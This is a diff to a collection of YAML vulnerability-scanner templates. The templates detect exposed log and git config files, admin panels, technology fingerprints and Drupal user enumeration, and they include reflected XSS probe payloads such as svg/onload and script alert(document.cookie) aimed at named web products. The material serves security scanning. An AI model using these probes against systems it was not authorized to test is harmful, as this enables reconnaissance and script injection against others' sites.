+      - "{{BaseURL}}/druid/index.html"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Druid Stat Index</title>'
+
+      - type: status
+        status:
+          - 200

files/error-logs.yaml

@@ -0,0 +1,43 @@
+id: error-logs
+info:
+  name: common error log files
+  author: geeknik
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/logs/error.log"
+      - "{{BaseURL}}/logs/errors.log"
+      - "{{BaseURL}}/log/error.log"
+      - "{{BaseURL}}/log/errors.log"
+      - "{{BaseURL}}/errors/errors.log"
+      - "{{BaseURL}}/error/error.log"
+      - "{{BaseURL}}/errors.log"
+      - "{{BaseURL}}/error.log"
+      - "{{BaseURL}}/error.txt"
+      - "{{BaseURL}}/errors.txt"
+      - "{{BaseURL}}/admin/logs/error.log"
+      - "{{BaseURL}}/admin/logs/errors.log"
+      - "{{BaseURL}}/admin/log/error.log"
+      - "{{BaseURL}}/admin/logs/errors.log"
+      - "{{BaseURL}}/admin/error.log"
+      - "{{BaseURL}}/admin/errors.log"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Segmentation Fault"
+          - "coredump"
+          - "script headers"
+          - "Broken pipe"
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 200

files/git-config.yaml

@@ -2,15 +2,24 @@ id: git-config
 
 info:
   name: Git Config Disclosure
-  author: Ice3man
+  author: Ice3man & pikpikcu
   severity: medium
   description: Searches for the pattern /.git/config on passed URLs.
 
 requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
+  - raw:
+      - |
+        GET /.git/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 1
+        Connection: close
+
     matchers:
       - type: word
         words:
-          - "[core]"
+          - "[core]"

files/robots.txt.yaml

@@ -0,0 +1,24 @@
+id: robots-txt
+info:
+  name: robots.txt file
+  author: CasperGN
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/robots.txt"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Disallow:"
+
+      - type: word
+        words:
+          - text/plain
+        part: header
+
+      - type: status
+        status:
+          - 200

files/wadl-files.yaml

@@ -5,6 +5,10 @@ info:
   author: 0xrudra & manuelbua
   severity: info
 
+  # References:
+  # - https://github.com/dwisiswant0/wadl-dumper
+  # - https://www.nopsec.com/leveraging-exposed-wadl-xml-in-burp-suite/
+
 requests:
   - method: GET
     path:

files/wordpress-debug-log.yaml

@@ -0,0 +1,26 @@
+id: wp-debug-log
+
+info:
+  name: WordPress debug log
+  author: geraldino2 & @dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/debug.log"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - octet-stream
+          - text/plain
+        part: header
+        condition: or
+      - type: regex
+        regex:
+          - "[[0-9]{2}-[a-zA-Z]{3}-[0-9]{4} [0-9]{2}:[0-9]{2}:[0-9]{2} [A-Z]{3}] PHP"
+        part: body
+      - type: status
+        status:
+          - 200

files/wordpress-directory-listing.yaml

@@ -9,6 +9,9 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-content/uploads/"
+      - "{{BaseURL}}/wp-content/themes/"
+      - "{{BaseURL}}/wp-content/plugins/"
+      - "{{BaseURL}}/wp-includes/"
     matchers-condition: and
     matchers:
       - type: status
@@ -16,4 +19,4 @@ requests:
           - 200
       - type: word
         words:
-          - Index of /wp-content/uploads
+          - Index of /

generic-detections/top-15-xss.yaml

@@ -15,9 +15,14 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/?q%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526s%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526search%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526id%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526action%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keyword%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526query%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526page%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keywords%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526url%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526view%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526cat%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526name%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526key%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526p%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E"
+      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "<svg/onload=confirm('testing-xss')>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

panels/iomega-lenovo-emc-shared-nas-detect.yaml

@@ -0,0 +1,29 @@
+id: iomega-lenovo-emc-shared-nas.yaml
+
+info:
+  name: Iomega Lenovo EMC with shared NAS
+  author: e_schultze_
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cp/Shares?user=&protocol=webaccess&v=2.3"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"access":"read"'
+          - '"access":"readwrite"'
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "iomega"
+        part: header

panels/jmx-console.yaml

@@ -2,7 +2,7 @@ id: jmx-console
 info:
   name: JMX Console
   author: Yash Anand @yashanand155
-  severity: Low
+  severity: low
 requests:
   - method: GET
     path:

panels/mongo-express-web-gui.yaml

@@ -1,16 +0,0 @@
-id: mongo-express-web-gui
-
-info:
-  name: Mongo Express Web GUI
-  author: puzzlepeaches
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "Set-Cookie: mongo-express="
-        part: header

panels/polycom-admin-detect.yaml

@@ -0,0 +1,27 @@
+id: polycom-admin-detect
+
+info:
+  name: Polycom Admin Panel
+  author: e_schultze_
+  severity: low
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/systemstatus.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "SYSTEMSTATUS"
+        part: body
+
+      - type: word
+        words:
+          - "Server: lighttpd"
+        part: header

panels/workspaceone-uem-airwatch-dashboard-detect.yaml

@@ -1,4 +1,4 @@
-id: workspaceone-uem-airWatch-dashboard-detect
+id: workspaceone-uem-airwatch-dashboard-detect
 
 info:
   name: Workspace ONE Unified Endpoint Management (UEM) AirWatch

security-misconfiguration/drupal-user-enum-ajax.yaml

@@ -0,0 +1,34 @@
+id: drupal-user-enum-ajax
+
+info:
+  name: Drupal User Enumration [Ajax]
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/?q=admin/views/ajax/autocomplete/user/a"
+      - "{{BaseURL}}/?q=views/ajax/autocomplete/user/a"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?i)\{\"a'
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - '"[\w \-\_\@\.]+\"'

security-misconfiguration/drupal-user-enum-redirect.yaml

@@ -0,0 +1,30 @@
+id: drupal-user-enum-redirect
+
+info:
+  name: Drupal User Enumration [Redirect]
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/user/0"
+      - "{{BaseURL}}/user/1"
+      - "{{BaseURL}}/user/2"
+      - "{{BaseURL}}/user/3"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - '(?i)Location: http(s|):\/\/[\w\.\-]+(\/ar|\/en|)\/users\/\w+'
+        part: header
+      - type: status
+        status:
+          - 301
+    extractors:
+      - type: regex
+        part: header
+        regex:
+          - 'users\/\w+'

security-misconfiguration/jira-unauthenticated-user-picker.yaml

@@ -3,7 +3,7 @@ id: jira-unauthenticated-user-picker
 info:
   name: Jira Unauthenticated User Picker
   author: TechbrunchFR
-  severity: High
+  severity: high
 
 requests:
   - method: GET

technologies/favicon-detection.yaml

@@ -14,8 +14,11 @@ info:
   # 17542,e16377344d2d52a15e735041b3eb2c5a,jenkins
   # 1150,6d2adf39ca320265830403dfc030033a,liferay
   # 3638,59a0c7b6e4848ccdabcea0636efda02b,blogger
-  # 198,59a0c7b6e4848ccdabcea0636efda02b,wordpress
-  # 5430,59a0c7b6e4848ccdabcea0636efda02b,wordpress
+  # 198,c6acedaff906029fc5455d9ec52c7f42,wordpress
+  # 5430,c291c057816f71ce15ba5c496f1a965a,wordpress
+  # 1611,f7e3d97f404e71d302b3239eef48d5f2,gitlab
+  # 6093,88717398db158e3330ce94fc1784e4a7,jira
+  # 2494,88717398db158e3330ce94fc1784e4a7,jira
 
 requests:
   - method: GET
@@ -69,3 +72,19 @@ requests:
         name: wordpress
         dsl:
           - "len(body)==5430 && status_code==200 && (\"c291c057816f71ce15ba5c496f1a965a\" == md5(body))"
+      - type: dsl
+        name: gitlab
+        dsl:
+          - "len(body)==1611 && status_code==200 && (\"f7e3d97f404e71d302b3239eef48d5f2\" == md5(body))"
+      - type: dsl
+        name: jira
+        dsl:
+          - "len(body)==6093 && status_code==200 && (\"88717398db158e3330ce94fc1784e4a7\" == md5(body))"
+      - type: dsl
+        name: jira
+        dsl:
+          - "len(body)==2494 && status_code==200 && (\"04d89d5b7a290334f5ce37c7e8b6a349\" == md5(body))"
+      - type: dsl
+        name: confluence
+        dsl:
+          - "len(body)==4259 && status_code==200 && (\"966e60f8eb85b7ea43a7b0095f3e2336\" == md5(body))"

technologies/github-enterprise-detect.yaml

@@ -1,4 +1,4 @@
-id: Github-Enterprise-Detect
+id: github-enterprise-detect
 
 info:
   name: Detect Github Enterprise

technologies/gitlab-detect.yaml

@@ -1,4 +1,4 @@
-id: Gitlab-Detect
+id: gitlab-detect
 
 info:
   name: Detect Gitlab

technologies/jaspersoft-detect.yaml

@@ -1,4 +1,4 @@
-id: Jaspersoft-detect
+id: jaspersoft-detect
 
 info:
   name: Jaspersoft detected

technologies/sap-netweaver-detect.yaml

@@ -1,4 +1,4 @@
-id: SAP-Netweaver-Detect
+id: sap-netweaver-detect
 info:
   name: SAP NetWeaver Detect
   author: rakeshmane10

technologies/tech-detect.yaml

@@ -2688,4 +2688,30 @@ requests:
         words:
           - "/etc/clientlibs/"
           - "/content/dam/"
-        part: body
+        part: body
+
+      - type: word
+        name: lotus-domino
+        words:
+          - "Server: Lotus-Domino"
+        part: header
+
+      - type: word
+        name: mongo-express-web-gui
+        words:
+          - "Set-Cookie: mongo-express="
+        part: header
+
+      - type: word
+        name: pf-sense-ui
+        words:
+          - "Login to pfSense"
+
+      - type: word
+        name: weave-scope-dashboard
+        words:
+          - "<title>Weave Scope</title>"
+          - "__WEAVEWORKS_CSRF_TOKEN"
+          - "__CSRF_TOKEN_PLACEHOLDER__"
+        condition: and
+        part: body

technologies/weblogic-detect.yaml

@@ -1,4 +1,4 @@
-id: WebLogic-Detect
+id: weblogic-detect
 
 info:
   name: Detect Weblogic

vulnerabilities/discourse-xss.yaml

@@ -1,4 +1,4 @@
-id: Discourse XSS
+id: discourse-xss
 
 info:
   name: Discourse CMS - XSS
@@ -9,7 +9,7 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/email/[email protected]%27\"><svg/onload=alert(1337)>'
+      - '{{BaseURL}}/email/[email protected]%27\%22%3E%3Csvg/onload=alert(1337)%3E'
     matchers-condition: and
     matchers:
       - type: status

vulnerabilities/eclipse-help-system-xss.yaml

@@ -0,0 +1,22 @@
+id: eclipse-help-system-xss
+
+info:
+  name: Eclipse Help System RXSS vulnerability
+  author: pikpikcu
+  severity: medium
+
+  # Source:- https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/eclipse-xss.yaml
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(document.cookie)</script>"
+        part: body

vulnerabilities/ibm-infoprint-directory-traversal.yaml

@@ -1,4 +1,4 @@
-id: IBM InfoPrint Directory Traversal
+id: ibm-infoprint-directory-traversal
 
 info:
   name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal

vulnerabilities/oracle-ebs-bispgraph-file-access.yaml

@@ -3,7 +3,7 @@ id: oracle-ebs-bispgrapgh-file-read
 info:
   name: Oracle EBS Bispgraph File Access
   author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
-  severity: Critical
+  severity: critical
   description: todo
 
 requests:

vulnerabilities/sick-beard-xss.yaml

@@ -12,7 +12,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=<svg/onload=alert(document.domain)>"
+      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E"
     matchers-condition: and
     matchers:
       - type: status

vulnerabilities/wems-manager-xss.yaml

@@ -0,0 +1,24 @@
+id: wems-manager-xss
+
+info:
+  name: WEMS Enterprise Manager XSS
+  author: pikpikcu
+  severity: medium
+
+  # Source
+  # https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
+  # https://github.com/pikpikcu/nuclei-templates/blob/master/vulnerabilities/wems-enterprise-xss.yaml
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>confirm(document.domain)</script>'
+        part: body

vulnerabilities/wordpress-wordfence-xss.yaml

@@ -13,4 +13,4 @@ requests:
       - type: word
         words:
           - "<svg/onload=alert(1337)>"
-        part: body
+        part: body

workflows/wordpress-workflow.yaml

@@ -11,6 +11,7 @@ variables:
   wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
   wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
   wordpress_cve_1: cves/CVE-2019-9978.yaml
+  wordpress_debug_log: files/wordpress-debug-log.yaml
 
 logic: |
   wordpress_tech()
@@ -23,4 +24,5 @@ logic: |
     wordpress_duplicator_path_traversal()
     wordpress_wordfence_xss()
     wordpress_cve_1()
+    wordpress_debug_log()
   }